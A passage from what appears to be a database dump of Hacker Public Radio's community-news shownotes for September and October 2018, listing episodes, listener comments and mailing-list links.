<td>2018-09-21</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2645\" target=\"_blank\">Blinking LED</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2646\" target=\"_blank\">2646</a></strong></td>\n    <td>Mon</td>\n    <td>2018-09-24</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2646\" target=\"_blank\">Liverpool Makefest 2018 - Interview with Steve and Gerrard from the Liverpool Astronomical society.</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" target=\"_blank\">Tony Hughes AKA TonyH1212</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2647\" target=\"_blank\">2647</a></strong></td>\n    <td>Tue</td>\n    <td>2018-09-25</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2647\" target=\"_blank\">More Quick Tips</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2648\" target=\"_blank\">2648</a></strong></td>\n    <td>Wed</td>\n    <td>2018-09-26</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2648\" target=\"_blank\">Explaining the controls on my Amateur HF Radio Part 1</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2649\" target=\"_blank\">2649</a></strong></td>\n    <td>Thu</td>\n    <td>2018-09-27</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2649\" target=\"_blank\">More ancillary Bash tips - 10</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2650\" target=\"_blank\">2650</a></strong></td>\n    <td>Fri</td>\n    <td>2018-09-28</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2650\" target=\"_blank\">My Pocket Knife</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=250\" target=\"_blank\">Shane Shennan</a></td>\n    </tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.<br/>\nThere are 29 comments in total.</p>\n<p>There are 9 comments on\n8 previous shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1512#comments\" target=\"_blank\">hpr1512</a></strong>\n(2014-05-20) \"<em>Adopting and Renovating a Public-Domain Counterpoint Textbook</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=1512#2\" target=\"_blank\">Comment 2</a>:\nKen Fallon on 2018-09-30:\n\"Ahhh so that\'s what counterpoint is.\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1919#comments\" target=\"_blank\">hpr1919</a></strong>\n(2015-12-10) \"<em>DerbyCon Interview with Paul Koblitz</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=79\" target=\"_blank\">Xoke</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=1919#2\" target=\"_blank\">Comment 2</a>:\nCarpet Muncher on 2018-09-09:\n\":)\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2549#comments\" target=\"_blank\">hpr2549</a></strong>\n(2018-05-10) \"<em>DVD ripping using old hardware</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=318\" target=\"_blank\">Archer72</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2549#2\" target=\"_blank\">Comment 2</a>:\narcher72 on 2018-09-04:\n\"Change to code location\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2557#comments\" target=\"_blank\">hpr2557</a></strong>\n(2018-05-22) \"<em>Styx -- The Purely Functional Static Site Generator</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=311\" target=\"_blank\">clacke</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2557#3\" target=\"_blank\">Comment 3</a>:\nclacke on 2018-09-17:\n\"Update re: TOML in Nix\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2615#comments\" target=\"_blank\">hpr2615</a></strong>\n(2018-08-10) \"<em>Cancer</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2615#2\" target=\"_blank\">Comment 2</a>:\nA person on 2018-09-09:\n\"Thankyou\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2624#comments\" target=\"_blank\">hpr2624</a></strong>\n(2018-08-23) \"<em>Cycling through Brussels</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=111\" target=\"_blank\">knightwise</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2624#2\" target=\"_blank\">Comment 2</a>:\nbaffled on 2018-09-03:\n\"Very nice.\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2625#comments\" target=\"_blank\">hpr2625</a></strong>\n(2018-08-24) \"<em>My thoughts on language learning communication applications.</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=151\" target=\"_blank\">dodddummy</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2625#1\" target=\"_blank\">Comment 1</a>:\nclacke on 2018-09-19:\n\"Accordion outro\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2625#2\" target=\"_blank\">Comment 2</a>:\nclacke on 2018-09-19:\n\"Interesting idea\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2627#comments\" target=\"_blank\">hpr2627</a></strong>\n(2018-08-28) \"<em>Home Phone Setup!!</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=115\" target=\"_blank\">sigflup</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2627#6\" target=\"_blank\">Comment 6</a>:\nBrenda J. Butler on 2018-08-31:\n\"stoop\"</li></ul><br/>\n</li></ul>\n<p>There are 20 comments on 9 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2631#comments\" target=\"_blank\">hpr2631</a></strong>\n(2018-09-03) \"<em>HPR Community News for August 2018</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2631#1\" target=\"_blank\">Comment 1</a>:\nbaffled on 2018-09-03:\n\"Cool show.\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2631#2\" target=\"_blank\">Comment 2</a>:\nbaffled on 2018-09-03:\n\"Cool show.\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2635#comments\" target=\"_blank\">hpr2635</a></strong>\n(2018-09-07) \"<em>Running your own mainframe on Linux (for fun and profit)</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=369\" target=\"_blank\">Jeroen Baten</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2635#1\" target=\"_blank\">Comment 1</a>:\ndodddummy on 2018-09-01:\n\"This is embarrassing\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2635#2\" target=\"_blank\">Comment 2</a>:\nGavtres on 2018-09-07:\n\"Memories...\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2637#comments\" target=\"_blank\">hpr2637</a></strong>\n(2018-09-11) \"<em>Convert it to Text</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=300\" target=\"_blank\">b-yeezi</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2637#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2018-09-12:\n\"WOW\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2637#2\" target=\"_blank\">Comment 2</a>:\nBeeza on 2018-09-14:\n\"Value of text conversion\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2637#3\" target=\"_blank\">Comment 3</a>:\nJonas on 2018-09-15:\n\"Ranger, etc.\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2637#4\" target=\"_blank\">Comment 4</a>:\nDave Morriss on 2018-09-15:\n\"Great show\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2637#5\" target=\"_blank\">Comment 5</a>:\nclacke on 2018-09-19:\n\"Q\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2639#comments\" target=\"_blank\">hpr2639</a></strong>\n(2018-09-13) \"<em>Some ancillary Bash tips - 9</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2639#1\" target=\"_blank\">Comment 1</a>:\nKen on 2018-09-13:\n\"Ahhhhhh\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2639#2\" target=\"_blank\">Comment 2</a>:\njohanv on 2018-09-21:\n\"Really interesting\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2639#3\" target=\"_blank\">Comment 3</a>:\nDave Morriss on 2018-09-21:\n\"Thanks for the feedback\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2640#comments\" target=\"_blank\">hpr2640</a></strong>\n(2018-09-14) \"<em>Another Rambling Drive Into Work</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2640#1\" target=\"_blank\">Comment 1</a>:\nthelovebug on 2018-09-19:\n\"Audio quality\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2644#comments\" target=\"_blank\">hpr2644</a></strong>\n(2018-09-20) \"<em>Error on show 2642</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=309\" target=\"_blank\">folky</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2644#1\" target=\"_blank\">Comment 1</a>:\nclacke on 2018-09-19:\n\"Ken loves you\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2644#2\" target=\"_blank\">Comment 2</a>:\nclacke on 2018-09-19:\n\"Re: Kvalificerat hemligt\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2644#3\" target=\"_blank\">Comment 3</a>:\nfolky on 2018-09-23:\n\"Rere: Kvalificerat hemligt\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2645#comments\" target=\"_blank\">hpr2645</a></strong>\n(2018-09-21) \"<em>Blinking LED</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2645#1\" target=\"_blank\">Comment 1</a>:\nNYbill on 2018-09-21:\n\"Nice!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2645#2\" target=\"_blank\">Comment 2</a>:\ntuturto on 2018-09-21:\n\"great show\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2648#comments\" target=\"_blank\">hpr2648</a></strong>\n(2018-09-26) \"<em>Explaining the controls on my Amateur HF Radio Part 1</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2648#1\" target=\"_blank\">Comment 1</a>:\nNYbill on 2018-09-28:\n\"Thanks pal\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2650#comments\" target=\"_blank\">hpr2650</a></strong>\n(2018-09-28) \"<em>My Pocket Knife</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=250\" target=\"_blank\">Shane Shennan</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2650#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2018-09-27:\n\"Milkbag wtf\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2018-September/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2018-September/thread.html</a>\n\n\n<h2>Any other business</h2>\n<h3 id=\"tags-and-summaries\">Tags and Summaries</h3>\n<p>Thanks to <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=215\"><code>windigo</code></a> and <em>Otto Localhorst</em> for sending in updates in the past month.</p>\n<p>Over the period tags and/or summaries have been added to 23 shows which were without them.</p>\n<p>If you would like to contribute to the tag/summary project visit the summary page at <a href=\"https://hackerpublicradio.org/report_missing_tags.php\" class=\"uri\">https://hackerpublicradio.org/report_missing_tags.php</a> and follow the instructions there.</p>\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(2676,'2018-11-05','HPR Community News for October 2018',3954,'HPR Volunteers talk about shows released and comments posted in October 2018','\n\n<h2>New hosts</h2>\n<p>\nWelcome to our new host: <br />\n\n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=370\" target=\"_blank\">Yannick the french guy from Switzerland</a>.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\" summary=\"Last month\'s shows\">\n    <tr>\n    <th>Id</th>\n    <th>Day</th>\n    <th>Date</th>\n    <th>Title</th>\n    <th>Host</th>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2651\" target=\"_blank\">2651</a></strong></td>\n    <td>Mon</td>\n    <td>2018-10-01</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2651\" target=\"_blank\">HPR Community News for September 2018</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2652\" target=\"_blank\">2652</a></strong></td>\n    <td>Tue</td>\n    <td>2018-10-02</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2652\" target=\"_blank\">Liverpool Makefest 2018 - Interview with Caroline and John</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" target=\"_blank\">Tony Hughes AKA TonyH1212</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2653\" target=\"_blank\">2653</a></strong></td>\n    <td>Wed</td>\n    <td>2018-10-03</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2653\" target=\"_blank\">Using the EXACT Function in Excel</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=250\" target=\"_blank\">Shane Shennan</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2654\" target=\"_blank\">2654</a></strong></td>\n    <td>Thu</td>\n    <td>2018-10-04</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2654\" target=\"_blank\">Making Crepes</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=250\" target=\"_blank\">Shane Shennan</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2655\" target=\"_blank\">2655</a></strong></td>\n    <td>Fri</td>\n    <td>2018-10-05</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2655\" target=\"_blank\">Sleep Apnea and Afib</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2656\" target=\"_blank\">2656</a></strong></td>\n    <td>Mon</td>\n    <td>2018-10-08</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2656\" target=\"_blank\">Explaining the controls on my Amateur HF Radio Part 2</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2657\" target=\"_blank\">2657</a></strong></td>\n    <td>Tue</td>\n    <td>2018-10-09</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2657\" target=\"_blank\">Why we are all going to shit in 30 years due to computers</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=369\" target=\"_blank\">Jeroen Baten</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2658\" target=\"_blank\">2658</a></strong></td>\n    <td>Wed</td>\n    <td>2018-10-10</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2658\" target=\"_blank\">Questions on podcast production</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=290\" target=\"_blank\">Al</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2659\" target=\"_blank\">2659</a></strong></td>\n    <td>Thu</td>\n    <td>2018-10-11</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2659\" target=\"_blank\">Further ancillary Bash tips - 11</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2660\" target=\"_blank\">2660</a></strong></td>\n    <td>Fri</td>\n    <td>2018-10-12</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2660\" target=\"_blank\">Installing a bootloader on an Arduino</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2661\" target=\"_blank\">2661</a></strong></td>\n    <td>Mon</td>\n    <td>2018-10-15</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2661\" target=\"_blank\">My Music Production Setup</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=152\" target=\"_blank\">Claudio Miranda</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2662\" target=\"_blank\">2662</a></strong></td>\n    <td>Tue</td>\n    <td>2018-10-16</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2662\" target=\"_blank\">Repairing a motherboard</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=318\" target=\"_blank\">Archer72</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2663\" target=\"_blank\">2663</a></strong></td>\n    <td>Wed</td>\n    <td>2018-10-17</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2663\" target=\"_blank\">Short review on a 2.5 inch SSD/HDD caddy</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" target=\"_blank\">Tony Hughes AKA TonyH1212</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2664\" target=\"_blank\">2664</a></strong></td>\n    <td>Thu</td>\n    <td>2018-10-18</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2664\" target=\"_blank\">My git workflow</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=370\" target=\"_blank\">Yannick the french guy from Switzerland</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2665\" target=\"_blank\">2665</a></strong></td>\n    <td>Fri</td>\n    <td>2018-10-19</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2665\" target=\"_blank\">Exercise and Diet</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2666\" target=\"_blank\">2666</a></strong></td>\n    <td>Mon</td>\n    <td>2018-10-22</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2666\" target=\"_blank\">Slackware Post-Install</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=325\" target=\"_blank\">m1rr0r5h4d35</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2667\" target=\"_blank\">2667</a></strong></td>\n    <td>Tue</td>\n    <td>2018-10-23</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2667\" target=\"_blank\">Create PDF bookmarks with Pdftk</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2668\" target=\"_blank\">2668</a></strong></td>\n    <td>Wed</td>\n    <td>2018-10-24</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2668\" target=\"_blank\">Explaining the controls on my Amateur HF Radio Part 3</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2669\" target=\"_blank\">2669</a></strong></td>\n    <td>Thu</td>\n    <td>2018-10-25</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2669\" target=\"_blank\">Additional ancillary Bash tips - 12</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2670\" target=\"_blank\">2670</a></strong></td>\n    <td>Fri</td>\n    <td>2018-10-26</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2670\" target=\"_blank\">Character Arcs In Storytelling</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=107\" target=\"_blank\">lostnbronx</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2671\" target=\"_blank\">2671</a></strong></td>\n    <td>Mon</td>\n    <td>2018-10-29</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2671\" target=\"_blank\">Algae farming with Desearcher</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=325\" target=\"_blank\">m1rr0r5h4d35</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2672\" target=\"_blank\">2672</a></strong></td>\n    <td>Tue</td>\n    <td>2018-10-30</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2672\" target=\"_blank\">Porteus</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2673\" target=\"_blank\">2673</a></strong></td>\n    <td>Wed</td>\n    <td>2018-10-31</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2673\" target=\"_blank\">Urandom - Ohio Linux Fest 2-18 Podcaster Roundtable</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=270\" target=\"_blank\">Thaj Sara</a></td>\n    </tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.<br/>\nThere are 49 comments in total.</p>\n<p>There are 13 comments on\n10 previous shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1308#comments\" target=\"_blank\">hpr1308</a></strong>\n(2013-08-07) \"<em>Helping a New Computer User</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=250\" target=\"_blank\">Shane Shennan</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=1308#1\" target=\"_blank\">Comment 1</a>:\nGort on 2018-10-08:\n\"Computer Intro Outline\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=1308#2\" target=\"_blank\">Comment 2</a>:\nShane Shennan on 2018-10-12:\n\"Thanks, Gort!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1512#comments\" target=\"_blank\">hpr1512</a></strong>\n(2014-05-20) \"<em>Adopting and Renovating a Public-Domain Counterpoint Textbook</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=1512#3\" target=\"_blank\">Comment 3</a>:\nJon Kulp on 2018-10-02:\n\"Talk about reviving...\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2134#comments\" target=\"_blank\">hpr2134</a></strong>\n(2016-10-06) \"<em>Shutdown Sequence Systemd</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2134#2\" target=\"_blank\">Comment 2</a>:\ndavid pellecchia on 2018-10-07:\n\"systemd service\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2608#comments\" target=\"_blank\">hpr2608</a></strong>\n(2018-08-01) \"<em>BattleTech</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=364\" target=\"_blank\">tuturto</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2608#3\" target=\"_blank\">Comment 3</a>:\nBookewyrmm on 2018-10-09:\n\"Fandom\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2608#4\" target=\"_blank\">Comment 4</a>:\ntuturto on 2018-10-24:\n\"MechWarrior online\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2627#comments\" target=\"_blank\">hpr2627</a></strong>\n(2018-08-28) \"<em>Home Phone Setup!!</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=115\" target=\"_blank\">sigflup</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2627#7\" target=\"_blank\">Comment 7</a>:\nclacke on 2018-10-01:\n\"Re: stoop\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2635#comments\" target=\"_blank\">hpr2635</a></strong>\n(2018-09-07) \"<em>Running your own mainframe on Linux (for fun and profit)</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=369\" target=\"_blank\">Jeroen Baten</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2635#3\" 